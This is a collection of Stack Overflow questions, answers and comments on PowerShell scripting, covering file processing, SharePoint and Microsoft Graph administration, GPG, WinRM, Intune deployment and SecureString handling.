comment on: http://stackoverflow.com/q/79379722
type: QuestionComment
type: Comment
has text: Side notes: you don't need to call both `Close` and `Dispose`, one is enough. But you need to put it in a `try finally`. You should explicitly set the `SqlDbType` (and length in some cases) of the `SqlParameter` as this will make your query more efficient.
score: 0

http://stackoverflow.com/a/79292194
answers question: http://stackoverflow.com/q/79291349
type: Answer
score: 0
has body: Santiago's helpful answer demonstrates the best-performing solutions. As for what you tried: The primary reason for your command's poor performance is that you called Add-Content in each every loop iteration, necessitating instantiating the .NET class implementing the cmdlet, opening and closing the file for each and every line being processed. Instead, use the pipeline to stream all output to a single call to Set-Content, or pass all collected output by argument to the -Value parameter. Your use of the .Split() method with subsequent array manipulation is somewhat inefficient too, and can be replaced with a single call to the -split operator, which allows limiting the number of tokens returned; specifically, 'foo:bar:baz' -split ':', 2 returns only 2 tokens: the first :-separated token ('foo') and the rest of the input string, even if further : instances are present ('bar:baz'). To put it all together, in the form of a line-by-line solution that uses PowerShell-native commands and operators only: Set-Content newfile.txt -Value ( (Get-Content -ReadCount 0 myfile.txt). ForEach({ $null, $rest = $_ -split ':', 2; $rest }) ) Note that the solution is optimized for performance at the expense of memory usage: The Get-Content command reads all lines into an array in memory at once, using -ReadCount 0, which is much faster than the default behavior of streaming the lines, one by one. The intrinsic .ForEach() method is used as the faster alternative to the ForEach-Object cmdlet. The array of transformed lines is passed by argument to Set-Content, which is faster than by enumeration via the pipeline. If performance weren't a concern, you could more elegantly - and with less memory usage - write: Get-Content myfile.txt | ForEach-Object { $null, $rest = $_ -split ':', 2; $rest } | Set-Content newfile.txt While object-by-object streaming in the pipeline is intrinsically slower than operating on an array in memory, note that the poor performance of this solution is primarily owed…

http://stackoverflow.com/comment/140002190
type: AnswerComment
comment on: http://stackoverflow.com/a/79387067
has text: Also, those 'd' & 't' shorthand notations are going to be helpful. Not sure how I missed those in my research.
type: Comment
score: 1

http://stackoverflow.com/comment/140064500
comment on: http://stackoverflow.com/a/79420203
type: Comment
has text: @Theo unless those are *different* white-space characters! /s(but not too much)
score: 0
type: AnswerComment

http://stackoverflow.com/comment/140019450
type: Comment
score: 0
type: AnswerComment
has text: Thanks again for the breadth of knowledge. Thankfully in this situation Santiago's solution is fine. And it sounds like if my needs exceed those of that solution, but I don't want the cancelling of a prompt, to halt the entire script, I am out of luck with current Powershell. Maybe it is obvious to yourself, but to me clicking X on prompt, should not be akin to Ctrl + C in the CLI (that I agree should be left available for hail mary needs).
comment on: http://stackoverflow.com/a/79392267

http://stackoverflow.com/comment/139824159
type: Comment
comment on: http://stackoverflow.com/a/79292424
score: 0
type: AnswerComment
has text: Thank you for your response. I would like to print my pdf using my external printer and not use the "Print to PDF" which just prints the pdf into a pdf file. I added a note in my original question to clarify it. Thank you for your code again.

http://stackoverflow.com/comment/139783064
score: 1
type: AnswerComment
has text: Thanks, @alx9r; I was just catching up on your answer (+1), and I see what you're saying about the side effect; I'll revise the wording.
type: Comment
comment on: http://stackoverflow.com/a/79266755

http://stackoverflow.com/comment/139821659
type: Comment
comment on: http://stackoverflow.com/q/79290835
score: 0
has text: Could you confirm whether you are getting the response when you run same script locally?
type: QuestionComment

http://stackoverflow.com/comment/139954484
has text: @iRon, you are right! Although I sometimes use non-Windows OSes, here I forget about the Windows context. Vote up for you, guys!
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79361771
type: Comment

http://stackoverflow.com/comment/139886062
type: AnswerComment
comment on: http://stackoverflow.com/a/79326188
has text: do you have some special permissions in Entra? I get ` "Specified HTTP method is not allowed for the request target.",` when using `Invoke-RestMethod`
type: Comment
score: 0

http://stackoverflow.com/comment/139996957
comment on: http://stackoverflow.com/q/79385377
has text: You have an .INI file, so better yreat it as one. There are several good modules for that around, like [this one](https://gist.github.com/mklement0/006c2352ddae7bb05693be028240f5b6)
type: QuestionComment
score: 2
type: Comment

http://stackoverflow.com/comment/139775373
type: QuestionComment
has text: I agree. That's the very point of the question. In principle, a .Net method could do something similar to that unfair test. But it's not clear whether the assignment would complete if the asynchronous or long-running thing happens in a .Net method.
type: Comment
comment on: http://stackoverflow.com/q/79265633
score: 0

http://stackoverflow.com/comment/139978807
has text: @dcaz: The default `Out-Default` implementation implicitly writes to the host only, so it makes sense to use `Write-Host` in the custom implementation - not only is there no need to write to the _pipeline_ with `Write-Output`, it wouldn't work in this case. Re color: Unfortunately, I just realized that in order to avoid side effects `$PSStyle.OutputRendering = 'Host'` must be restored on exiting the function, but that inexplicably doesn't work, so I had to disable it. In other words: you won't get _colored_ for-display output in PowerShell 7 - please see my update.
type: Comment
comment on: http://stackoverflow.com/a/79375613
score: 1
type: AnswerComment

http://stackoverflow.com/comment/139816572
comment on: http://stackoverflow.com/q/79285255
score: 0
type: QuestionComment
has text: I edited the question. I don't have administrator privilege in the runtime environment, same as https://stackoverflow.com/q/79239902/3902663 .
type: Comment

http://stackoverflow.com/comment/139934253
score: 0
comment on: http://stackoverflow.com/q/79351371
type: QuestionComment
has text: @Sirtao See line 2: ```$skus = Get-MgSubscribedSku -all```. Obviously, there's a lot more done in the foreach-loop than this, so turning it into a oneliner is impossible.
type: Comment

http://stackoverflow.com/a/79247414
answers question: http://stackoverflow.com/q/79247316
type: Answer
score: 0
has body: You can use PowerShell to do this. You would need to use either of the following Modules: SharePointPnPPowerShellOnline (Legacy, WindowsPowerShell, https://www.powershellgallery.com/packages/SharePointPnPPowerShellOnline) PnP.PowerShell (Recommended, Powershell 7, https://www.powershellgallery.com/packages/pnp.powershell) The documentation on the latter is quite up to date: https://pnp.github.io/powershell/articles/installation.html For the code, I am assuming you have a CSV file with the following format: SiteUrl,ListName https://yourtenant.sharepoint.com/sites/site1,Documents https://yourtenant.sharepoint.com/sites/site2,TestList To load the CSV file, loop through the rows, connect to the target sites and delete the target lists, you can use the following script, assuming you use the PnP.PowerShell module. #Import the PnP.PowerShell module Import-Module PnP.PowerShell #Define the path to the CSV file $CSVFilePath = "C:\PathToYoutFile\CSVFile.csv" $csv = Import-Csv -Path $CSVFilePath #Loop through the CSV rows foreach ($entry in $csv) { $SiteUrl = $entry.SiteUrl $ListName = $entry.ListName Write-Output "Working on Site '$SiteUrl', List '$ListName'" try { #Connect to the target SiteCollection / Subweb $null = Connect-PnPOnline -Url $SiteUrl -Interactive Write-Output "Deleting List '$ListName'" #Delete the List $null = Remove-PnPList -Identity $ListName -Force -ErrorAction Stop } catch { Write-Warning "Failed to Connect and/or delete List. Error:" Write-Output $_ } } If you use the SharePointPnPPowerShellOnline, replace the Import-Module line with Import-Module SharePointPnPPowerShellOnline and the Connect-PnPOnline line with $null = Connect-PnPOnline -Url $SiteUrl -UseWebLogin

http://stackoverflow.com/q/79278740
type: UnansweredQuestion
score: 1
upvote count: 1
has title: GPG Encrypting Via CLI output as .pgp rather than .gpg
has comment: http://stackoverflow.com/comment/139801531
favorite count: 0
has body: Got a command that encrypts all files in a folder with our public key. However, it saves the files as .gpg and the requirement is to output as .pgp. Using the GUI you just append the name from .gpg to .pgp. I've tried renaming the output but I'm just getting .gpg.pgp. My current command: Start-Process -FilePath "C:\Program Files (x86)\GnuPG\bin\gpg.exe" -ArgumentList "-r "public key email" -e Path\TO\FILE\$fileName"
type: Question
answer count: 0
downvote count: 0
has comment: http://stackoverflow.com/comment/139801536
tagged with: powershell
tagged with: gnupg

http://stackoverflow.com/q/79373919
score: 0
tagged with: owner
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139980801
has comment: http://stackoverflow.com/comment/139975688
has comment: http://stackoverflow.com/comment/139978754
has comment: http://stackoverflow.com/comment/139975733
has comment: http://stackoverflow.com/comment/139975746
has title: How to get with PowerShell the EFS encrypted file owner
has body: I am currently get the EFS encrypted file owner from PowerShell through the "cipher.exe /c". Cipher /c example I haven't found a way to retrieve the encryption owner using a .net method. Is there another way I can get the owner through PowerShell? Any .Net way?
type: Question
answer count: 0
tagged with: .net
has comment: http://stackoverflow.com/comment/139975727
tagged with: powershell

http://stackoverflow.com/comment/139810070
score: 0
comment on: http://stackoverflow.com/q/79278916
has text: @mklement0 THAT'S THE WINNER-- now i get exactly what I need! Thank you and everyone else so very much for your help. Is there a correct way for me to give you credit for all of your help? somewhat related, i hope i can convert this into a script that can actually update the recycle times :)
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79455554
answers question: http://stackoverflow.com/q/79379554
type: Answer
downvote count: 0
has body: I was trying to disable basic auth for both FTP and SCM using PowerShell. This seems to work: Write-Output " .. disable FTP Basic Auth" $config = Get-AzResource -ResourceGroupName $resourceGroup ` -ResourceType Microsoft.Web/sites ` -ResourceName "$webAppName/basicPublishingCredentialsPolicies/ftp" ` -ApiVersion 2018-02-01 $config.Properties.allow = $false $config | Set-AzResource -ApiVersion 2018-02-01 -Force Write-Output " .. disable SCM Basic Auth" $config = Get-AzResource -ResourceGroupName $resourceGroup ` -ResourceType Microsoft.Web/sites ` -ResourceName "$webAppName/basicPublishingCredentialsPolicies/scm" ` -ApiVersion 2018-02-01 $config.Properties.allow = $false $config | Set-AzResource -ApiVersion 2018-02-01 -Force
score: 1
upvote count: 1

tee
tag name: tee
type: Tag
tags question: http://stackoverflow.com/q/79286923

http://stackoverflow.com/comment/139984451
type: Comment
has text: If you are confident that you do not have empty lines, which is a good first thing to check... Are you running the script under the same credentials? Does that user account have access to the production data file? Try adding some `Write-Verbose` lines in to help troubleshoot, like `Write-Verbose "Querying $($Servers.count) servers, for $($Services.count) services each"` then set `$VerbosePreference = 'Continue'` before you run the script.
score: 1
comment on: http://stackoverflow.com/q/79378728
type: QuestionComment

http://stackoverflow.com/comment/139891865
score: 0
has text: I see. There is indeed no reason to include a shebang line in a `.psm1` file, ever. And, indeed, the presence or absence of a shebang line is irrelevant in this context. More importantly, you shouldn't expect comment-based help _in the top-level scope_ - as opposed to in the context of _functions exported from this module_ - in such a file to be honored. Please explain why you do have this expectation.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79329816

cultureinfo
type: Tag
tag name: cultureinfo
tags question: http://stackoverflow.com/q/79383686

http://stackoverflow.com/q/79377427
tagged with: powershell
has comment: http://stackoverflow.com/comment/139982343
has comment: http://stackoverflow.com/comment/139984333
tagged with: intune
has body: The goal is to have only the latest version of Python (3.13.1) installed after the process, with all previous versions removed. Note: I work in the customer's environment and have to deploy the new version to more than 500 devices. I’m using a PowerShell script (included at the end of this post) to: Remove all existing versions of Python (folders, registry keys, etc.). Install only the latest version of Python (3.13.1). When I run the script locally, launching PowerShell as Administrator, everything works as expected: all Python installations are removed, and only version 3.13.1 remains. However, when I execute the same script via Microsoft Intune (as a Win32 App with system privileges), some Python versions are not removed. For example, the Python Launcher is deleted, but the main versions (e.g., 3.9, 3.10) remain. Even though no errors appear in Intune logs, running the command python --version still shows an older version. Questions: Why does the uninstallation work correctly locally but fail to completely remove Python when executed under the NT AUTHORITY\SYSTEM context? How can I remove Python installations stored in the HKCU registry or local folders (e.g., D:\Python)? Could it be that Intune’s system account doesn’t have access to user registry keys (HKCU) or certain directories? What’s the best strategy to ensure a complete removal of any Python version (including user-based installations) and cleanly install Python 3.13.1 via Intune? Script Write-Host "Removing all Python versions and related traces..." # Remove Python via registry Get-ChildItem -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall, HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall, HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall | ForEach-Object { $DisplayName = $_.GetValue("DisplayName") if ($DisplayName -like "*Python*") { $UninstallString = $_.GetValue("UninstallString") if ($UninstallString) { Write-Host "Uninstalling: $DisplayName" Start-Process…
tagged with: python
has answer: http://stackoverflow.com/a/79412895
score: 0
type: UnansweredQuestion
has title: Uninstall all Python versions via Intune and install only the latest version
has comment: http://stackoverflow.com/comment/139983753
answer count: 1
has comment: http://stackoverflow.com/comment/140006653
type: Question

http://stackoverflow.com/a/79399735
has comment: http://stackoverflow.com/comment/140024542
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79399193
has comment: http://stackoverflow.com/comment/140024289
downvote count: 0
type: Answer
upvote count: 3
accepted answer of: http://stackoverflow.com/q/79399193
has body: The "direct" answer is Mathias': you are adding a collection, so you should use .AddRange(). += unpacks the collection automatically but that obviously is a problem if you want to add a collection as a single item :) That said, the best way to deal with your needs is direct assignment. # DO NOT USE WMI CMDLETS. It has been Obsoleted snce Powershell 3. # And completely removed from 6+ . # Use CIM ones instead. # Force-casting removes a few hassle in calling the drive later on. # Specifying the property on Get-CimInstance is mostly superfluous optimization # in this case: it makes it so the cmdlet only returns that property of the # device. # I added it mostly as a Teaching Moment(TM) about Left Side Filtering. [System.IO.DriveInfo[]]$DriveList = Get-CimInstance -Class Win32_logicalDisk -Filter 'DriveType=3' -Property DeviceID | Select-Object -ExpandProperty DeviceID # Force-casted direct assignment FTW. # If you do NOT need to add\remove items AFTER the collection has been created, # remove the casting and you'll have a nice Array perfectly fine to use. [System.Collections.Generic.List[object]]$AllConfigFiles = foreach ($Drive in $DriveList) { # Evaluate adding -Force, -Depth and -ErrorAction SilentlyContinue . Get-ChildItem -LiteralPath $Drive -File -Filter '*.config' -Recurse } $AllConfigFiles.Count
score: 3

http://stackoverflow.com/comment/139761364
score: 1
comment on: http://stackoverflow.com/q/79257776
has text: You can achieve this but its going against the language. PowerShell functions return type is like an `IEnumerable `.
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79320755
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/79322273
score: 0
has title: Using ConvertTo-SecureString to encrypt an API token without throwing PSScriptAnalyzer errors?
has body: Example Using Invoke-RestMethod to authenticate to a REST API, the response body will contain the token in clear text. I want to write a wrapper around this so that I can store that token in a PSCredentail object, to avoid handling the API token in plain text as much as possible. I hit challenges with PSScriptAnalyzer(PSAvoidUsingConvertToSecureStringWithPlainText) due to the fact that I can't use Read-Host to get this value. $Response = Invoke-RestMethod @Params $SecureToken = $Response.access_token | ConvertTo-SecureString -AsPlainText -Force $credential = New-Object PSCredential ($Username, $SecureToken) In this case, the call to ConvertTo-SecureString throws the PSScriptAnalyzer error, but I see no way to do the right thing (move secret to a secure string from $Response.access_token, which is a regular string) to protect it in memory while a script/module is running. The help doc for this error in PSScriptAnalyzer only provides an example using Read-Host, which isn't possible in the use cases for automation. I do not want to use the Secret Management module for this use case as it feels like overkill, since I have no desire to actually store this value beyond runtime of the script/module. The only thing I could think of is maybe using Azure KeyVault to "cache" this token and then retrieve it as needed later, but this also seems to be overkill just to avoid this analyzer error. EDIT:, This "solution" suppresses the analyzer error, but IMO, is no less "secure" than using -AsPlainText -Force, just with more steps. $Response = Invoke-RestMethod @Params $TokenArray = $response.access_token.ToCharArray() $SecureToken = New-Object securestring foreach ($t in $token) { $SecureToken.AppendChar($t) | Out-Null } $credential = New-Object PSCredential ($Username, $SecureToken) It helps obfuscate the realtime conversion from string to securestring, at least, but it just feels more like a workaround than a solution.
has comment: http://stackoverflow.com/comment/139875003
has comment: http://stackoverflow.com/comment/139874900
type: Question
has comment: http://stackoverflow.com/comment/139875107
answer count: 1
tagged with: powershell
has comment: http://stackoverflow.com/comment/139875052

http://stackoverflow.com/comment/139877004
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79320898
score: 0
has text: @js2010: That doesn't satisfy the requirement of being able to use `-delim` without an argument.

http://stackoverflow.com/comment/139786083
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79271171
has text: You can readu up on MSolCompanyInformation [here](https://shellgeek.com/get-msolcompanyinformation/#). In the sample shown, there is no property named DAPenabled. Is this also true in your situation?
type: QuestionComment

ssh-agent
type: Tag
tags question: http://stackoverflow.com/q/79416722
tag name: ssh-agent

http://stackoverflow.com/comment/139853054
type: Comment
has text: *windows notepad
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79307730

http://stackoverflow.com/a/79257932
has comment: http://stackoverflow.com/comment/139761927
type: Answer
has comment: http://stackoverflow.com/comment/139761969
has body: As per the comments, this looks to be expected behaviour as described here One solution is to use the unary operator: function GetArrayOfHashtable { param([string] $name, [int]$count) $result = @() for ($i = 0; $i -lt $count; $i++) { $h = @{ name = $name id=$i+1 } $result += $h } return ,$result # <--- See comma here } or change the call to use @( ... ): $one = @(GetArrayOfHashtable "one" 1)
score: 0
has comment: http://stackoverflow.com/comment/139761665
answers question: http://stackoverflow.com/q/79257776

http://stackoverflow.com/comment/139991116
score: 1
comment on: http://stackoverflow.com/a/79376203
type: AnswerComment
has text: tbh I don't even want to know how many DevOps scripts out there unintentionally rely on this behavior
type: Comment

http://stackoverflow.com/comment/139851967
has text: @mklement0 I got DataDirectory "C:\\Users\\Р В Р’В Р вЂ™Р’В­Р В Р’В Р вЂ™Р’В»Р В Р Р‹Р В Р вЂ°Р В Р’В Р СћРІР‚ВР В Р’В Р вЂ™Р’В°Р В Р Р‹Р В РІР‚С™\\Desktop\\MyFolder\\data" instead of utf8NoBom Cyrillic (as in win 11 -Encoding Default), and everytime I run it it changes further and further.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79307730
type: Comment

http://stackoverflow.com/a/79279625
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/139800905
downvote count: 0
has body: The only solution I found for this was to reset the configuration, as trying to delete the default listener would cause commands to fail to try to update or create any new listeners. Here are the steps I took: winrm invoke Restore winrm/Config Make sure the new certificate is in the certificate store and old certificates are gone `winrm quickconfig -transport:https (creates the 5986 listener using new cert) Run winrm get winrm/config/service to find the correct attribute to enable the compatibility https listener because mine had different casing than documentation I found on line. winrm set winrm/config/service '@{EnableCompatibilityHttpsListener="true"}' (creates the 443 listener using new cert) Obviously not an ideal solution because it requires resetting the entire config instead of just updating the cert, but it worked for me.
type: Answer
answers question: http://stackoverflow.com/q/79278871

http://stackoverflow.com/comment/139799629
score: 0
has text: @DavidBrowne Semantic model(a cube basically...)
comment on: http://stackoverflow.com/q/79278800
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79246610
has comment: http://stackoverflow.com/comment/139755220
has comment: http://stackoverflow.com/comment/139746437
has comment: http://stackoverflow.com/comment/139746449
type: Question
has comment: http://stackoverflow.com/comment/139741634
has body: I'm losing my mind trying to recreate the output of the following Linux command in a Windows Environment: diff --old-line-format='%L' --new-line-format='' --unchanged-line-format='' file1 file2 | grep -v '^$' I can't install anything, not even Notepad++ plugins, since it's a corporate server. All I got to work with is CMD or PowerShell (as far as I can think of) Closest I've gotten is the following Powershell 'script': $file1 = Get-Content "file1.txt" $file2 = Get-Content "file2.txt" $only_in_file1 = $file1 | Where-Object { $_ -notin $file2 } $only_in_file1 But it fails to show the exact same output I'd get in Linux. Let me explain, file1: #AK.70.1.1.5 ServerTokens Prod Header always unset "X-Powered-By" Header unset "X-Powered-By" #AK.70.1.1.6 ServerSignature Off AddServerHeader Off #ServerTokens Prod #ServerSignature Off #AddServerHeader Off file2: blah blah blah durr durr durr ServerTokens Prod blah blah blah durr durr durr ServerSignature Off AddServerHeader Off Expected output (what I'd get in Linux): #AK.70.1.1.5 ServerTokens Prod Header always unset "X-Powered-By" Header unset "X-Powered-By" #AK.70.1.1.6 ServerSignature Off AddServerHeader Off #ServerTokens Prod #ServerSignature Off #AddServerHeader Off Actual output (what I get from PowerShell) #AK.70.1.1.5 Header always unset "X-Powered-By" Header unset "X-Powered-By" #AK.70.1.1.6 #ServerTokens Prod #ServerSignature Off #AddServerHeader Off You see, although I commented file2 lines in file1, and pasted them on a different place, it stills considers them as if they weren't different. I really cant Wrap my head around this topic. It's been like 4 hours now. Not kidding. Any idea is welcome!
tagged with: powershell
has comment: http://stackoverflow.com/comment/139746463
answer count: 1
has comment: http://stackoverflow.com/comment/139777237
has answer: http://stackoverflow.com/a/79261582
has comment: http://stackoverflow.com/comment/139748794
has title: Recreate exact output from this Linux diff command in a Windows System
score: 0
tagged with: diff
type: UnansweredQuestion

http://stackoverflow.com/comment/139748949
comment on: http://stackoverflow.com/q/79250687
type: QuestionComment
has text: Shouldn't start `mc` the executable anyway? If not you may add the path to it to your `path` environment variable
score: 2
type: Comment

http://stackoverflow.com/comment/139905899
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/79334607
has text: @iRon unfortunately, the same error is given back.
type: Comment

http://stackoverflow.com/comment/139811820
type: QuestionComment
type: Comment
has text: Instead of using built-in sources like "Application Error", it's recommended to create a custom event source specifically for your app since "Application Error" is technically a system owned source. `New-EventLog -LogName Application -Source MyAppErrors`
comment on: http://stackoverflow.com/q/79285255
score: 0

http://stackoverflow.com/comment/140024486
type: Comment
comment on: http://stackoverflow.com/a/79395946
score: 0
type: AnswerComment
has text: @user2167582: Mostly not possible. That requires separate converters. Not possible like this

http://stackoverflow.com/comment/139767580
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79258729
has text: Great sleuthing, thanks. When I run your test with a shorter-lived process (`cmd.exe /c ver`), I see that that 1, 3, 5 polling-interval tests consistently fail, and occasionally even the 0.3 interval - irrespective of the advance registration ratio.
type: Comment

http://stackoverflow.com/comment/139958438
comment on: http://stackoverflow.com/q/79364722
score: 1
has text: The function from that answer still has many issues, mainly, it can't stream output. If you want something close to `ForEach-Object -Parallel` the best way to do it is with C#, the implementation with PowerShell is possible but it will be a PITA, handling events and multithreading is much easier with C# (for that you can look at the final code in the repo from that answer).
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79347039
linked to: http://stackoverflow.com/q/60708578
tagged with: powershell
answer count: 1
type: AnsweredQuestion
tagged with: azure
tagged with: microsoft-graph-api
downvote count: 0
has body: Trying to get a list of users with their licenses and specific security group membership. I have the following: # Retrieve all users with licenses $licensedUsers = Get-MgUser -Property ID, DisplayName, UserPrincipalName, AssignedLicenses -ConsistencyLevel eventual -All | Where-Object { $_.AssignedLicenses.Count -gt 0 } # # Initialize an array to store results $results = @() # Loop through each licensed user foreach ($user in $licensedUsers) { # Get assigned license SKUs $licenseTypes = $user.AssignedLicenses | ForEach-Object { $_.SkuId } # Get security group memberships where the group name starts with "bg_" $groups = Get-MgUserTransitiveMemberOf -UserId $user.Id -All | Where-Object { $_.ODataType -eq '#microsoft.graph.group' -and $_.SecurityEnabled -eq $true -and $_.DisplayName -like 'bg*' } | Select-Object -ExpandProperty DisplayName # Store the data in results $results += [PSCustomObject]@{ UserID = $user.Id DisplayName = $user.DisplayName UserPrincipal = $user.UserPrincipalName LicenseTypes = $licenseTypes -join ", " SecurityGroups = $groups -join ", " } } # Output the results in table format $results | Format-Table -AutoSize # Export to CSV # $results | Export-Csv -Path "LicensedUsersWithSecurityGroups.csv" -NoTypeInformation -Encoding UTF8 I get all the user info, but the group info is blank. If I remove: | Where-Object { $_.ODataType -eq '#microsoft.graph.group' -and $_.SecurityEnabled -eq $true -and $_.DisplayName -like 'bg*' } | Select-Object -ExpandProperty DisplayName I get "Microsoft.Graph.PowerShell.Models.MicrosoftGraphDirectoryObject" as the group. What am I missing? TIA
has title: MSGraph Query Not returning group info
tagged with: microsoft-entra-id
score: 1
upvote count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/79347074
type: Question
has answer: http://stackoverflow.com/a/79347074

http://stackoverflow.com/comment/139994539
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79383686
score: 0
has text: Not sure what you mean with console in this case. Is this PowerShell 7? Can you add `$PSVersionTable` for both situations to the question? Note that Windows PowerShell is installed under the system account and PowerShell 7 is usially installed under the user account.

http://stackoverflow.com/comment/140008279
comment on: http://stackoverflow.com/q/79391481
type: QuestionComment
type: Comment
score: 0
has text: Your "skeleton" code is a bit strange. You want to generate 3 tasks for each environment and each task will have 3 if conditions (one for each environment)? What about the unused parameter?

http://stackoverflow.com/comment/139835298
has text: @Daniel, This works!
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79298131
score: 0

http://stackoverflow.com/comment/139798565
type: AnswerComment
has text: Which snippet??
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79274662

http://stackoverflow.com/comment/140005158
has text: The main point was creating a Array using Foreach, which would be Best Practice in such cases as long as Items aren't added\removed later from the array(and even in that case just cast `$installs` as a Generic List: ArrayList is deprecated in Powershell and Not Suggested in .NET). Everything else was minor thinks, like using `-ExpandPropery` so you get a string array and don't have to access the property later. Probably the global the total performance improvement of everything else is 1nanosec and 100bytes, but using the Array would improve things much more.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79386369
score: 0

http://stackoverflow.com/comment/139783608
type: Comment
comment on: http://stackoverflow.com/a/79266755
has text: _"Since this behavior isn't documented, it is at least hypothetically subject to change..."_ I created [this proposal](https://github.com/PowerShell/PowerShell/issues/24658) to address this.
score: 1
type: AnswerComment

http://stackoverflow.com/a/79257073
score: 0
answers question: http://stackoverflow.com/q/79256529
type: Answer
has body: Search for the tag with a specific attribute, see under XPath: import xml.etree.ElementTree as ET xml_str = """ <T>Deserialized.System.Management.Automation.PSCustomObject</T> <T>Deserialized.System.Object</T> 2024-12-03T16:32:19.0841579+00:00 <T>Microsoft.PowerShell.Commands.DisplayHintType</T> <T>System.Enum</T> <T>System.ValueType</T> <T>System.Object</T> DateTime 2 2024-12-02T20:57:48.8872097+00:00 <T>Deserialized.Microsoft.PowerShell.Commands.DisplayHintType</T> <T>Deserialized.System.Enum</T> <T>Deserialized.System.ValueType</T> <T>Deserialized.System.Object</T> DateTime 2 0 """ root = ET.fromstring(xml_str) ns = {'': 'http://schemas.microsoft.com/powershell/2004/04'} ls = root.find('.//Obj[@N="lastSuccessDT"]/DT', ns).text print(f"lastSuccessDT: {ls}") lf = root.find('.//Obj[@N="lastFailureDT"]/DT', ns).text print(f"lastFailureDT: {lf}") fc = root.find('.//I32[@N="failcount"]', ns).text print(f"failcount: {fc}") Output: lastSuccessDT: 2024-12-03T16:32:19.0841579+00:00 lastFailureDT: 2024-12-02T20:57:48.8872097+00:00 failcount: 0

windows-store-apps
tags question: http://stackoverflow.com/q/79395273
tag name: windows-store-apps
type: Tag

http://stackoverflow.com/a/79296572
has comment: http://stackoverflow.com/comment/139834918
has comment: http://stackoverflow.com/comment/139834935
type: Answer
score: 2
upvote count: 2
downvote count: 0
has body: EDIT: imprecise answer, read related comments for clarifications. Original answer for context: Powershell does a lot of hidden work. In this case, Where-Object returns not a $null but a [System.Object.PSCustomObject] with a empty(=$null) value. But Powershell likes its automatic unpacking so when compared it automagically and transparently to the user unpacks the object to its value... which is $null. But it's still an object! You can also see this difference in VSCode's debug: $a has a value of $null but $c is shown having subvalues, but empty.
answers question: http://stackoverflow.com/q/79296217

http://stackoverflow.com/comment/139970635
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79352193
has text: PS uses the c# libraries. See if following helps. It is long but explains the issue very well. https://stackoverflow.com/questions/948785/typeloadexception-says-no-implementation-but-it-is-implemented/54133805

http://stackoverflow.com/comment/139826530
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79293460
has text: I don't have an explanation, just another workaround: `Invoke-Expression "Test-Log *>&1" | Tee-Object -Variable output | Out-Null`

http://stackoverflow.com/comment/139830461
type: Comment
has text: @Subzero123: I don't have `kubectl`, so I cannot test the solution. I've updated the answer with a solution that replaces ``\`` with ``/`` in the path, which is likely at least part of the puzzle. With this fix, it now works as intended for me with `git` on Windows. Please try it with `kubectl` and report back (not sure why you got the message you saw).
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79279479

http://stackoverflow.com/comment/139918574
type: QuestionComment
has text: No, still getting the same result.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79343590

execution
tags question: http://stackoverflow.com/q/79296160
tag name: execution
type: Tag

http://stackoverflow.com/a/79380755
score: 1
has body: Have you tried including -ComputerName in the Set-Service line, eg change $service | Set-Service -StartupType Automatic to $service | Set-Service -ComputerName $computerName -StartupType Automatic as I suspect $service doesn't contain the information needed to tell Set-Service to connect to the remote computer. Note, if you check the full output returned from Get-Service it includes MachineName NOT ComputerName.
upvote count: 1
answers question: http://stackoverflow.com/q/79380218
downvote count: 0
type: Answer

http://stackoverflow.com/comment/139979735
type: QuestionComment
has text: @mklement0 : The two responses should be exactly the same. The only differences is the folder in the pipeline is one directory higher than the local results.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79375196

exception
tags question: http://stackoverflow.com/q/79374134
tag name: exception
type: Tag
tags question: http://stackoverflow.com/q/79534032

http://stackoverflow.com/comment/139763354
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79257887
has text: Great writeup, thanks for the effort. I couldn't remember what context the `$_` automatic variable would take, and was too lazy to look it up. I'm glad somebody else took the time to write up a real answer for this. PowerShell scoping issues happen way too often it seems. There should be better error handling for it IMHO.
score: 1

http://stackoverflow.com/comment/139746765
comment on: http://stackoverflow.com/a/79248980
has text: I concur. [That incarnation of `Stop-PowerShell`](https://gist.github.com/santisq/f28fa0e8e61c14c15197804dadf5a930) seems to be working. That should really be its own answer. I think it's probably a better choice than this one.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139899487
type: Comment
score: 0
has text: Have you tried with the `appRoleAssignments` endpoint instead of this? See here for an example: https://stackoverflow.com/a/78738562/15339544. Example is for Graph but should work for others
comment on: http://stackoverflow.com/q/79334181
type: QuestionComment

http://stackoverflow.com/comment/140028664
comment on: http://stackoverflow.com/q/79401312
type: QuestionComment
has text: Without seeing the actual xml you’re working with (per @SantiagoSquarzon) it’s impossible to give a definitive answer, but looking at your code there’s a good chance it’s related to xml namespaces - have a read of the documentation at https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/select-xml?view=powershell-7.5 for details, and / or add your specific xml to your question…
score: 2
type: Comment

http://stackoverflow.com/q/79400862
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79401218
